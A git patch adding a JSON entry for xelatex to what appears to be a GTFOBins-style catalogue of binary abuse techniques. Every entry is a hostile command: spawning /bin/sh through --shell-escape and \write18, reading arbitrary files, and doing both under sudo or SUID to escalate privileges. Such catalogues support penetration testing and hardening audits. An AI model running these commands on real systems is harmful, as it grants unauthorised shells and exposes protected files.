From 9048a2a6d58257172edcd16581efbd218bb66a0d Mon Sep 17 00:00:00 2001 From: "Mr. Robot" Date: Sun, 2 May 2021 14:11:20 +0200 Subject: [PATCH] add data source for xelatex --- data/xelatex.json | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100644 data/xelatex.json diff --git a/data/xelatex.json b/data/xelatex.json new file mode 100644 index 0000000..307f738 --- /dev/null +++ b/data/xelatex.json @@ -0,0 +1,29 @@ +{ + "functions": { + "shell": [ + { + "code": "xelatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n" + } + ], + "file-read": [ + { + "description": "The read file will be part of the output.", + "code": "xelatex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{[file]}\\end{document}'\nstrings article.dvi\n" + } + ], + "sudo": [ + { + "description": "The read file will be part of the output.", + "code": "sudo xelatex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{[file]}\\end{document}'\nstrings article.dvi\n" + }, + { + "code": "sudo xelatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n" + } + ], + "limited-suid": [ + { + "code": "./xelatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n" + } + ] + } +}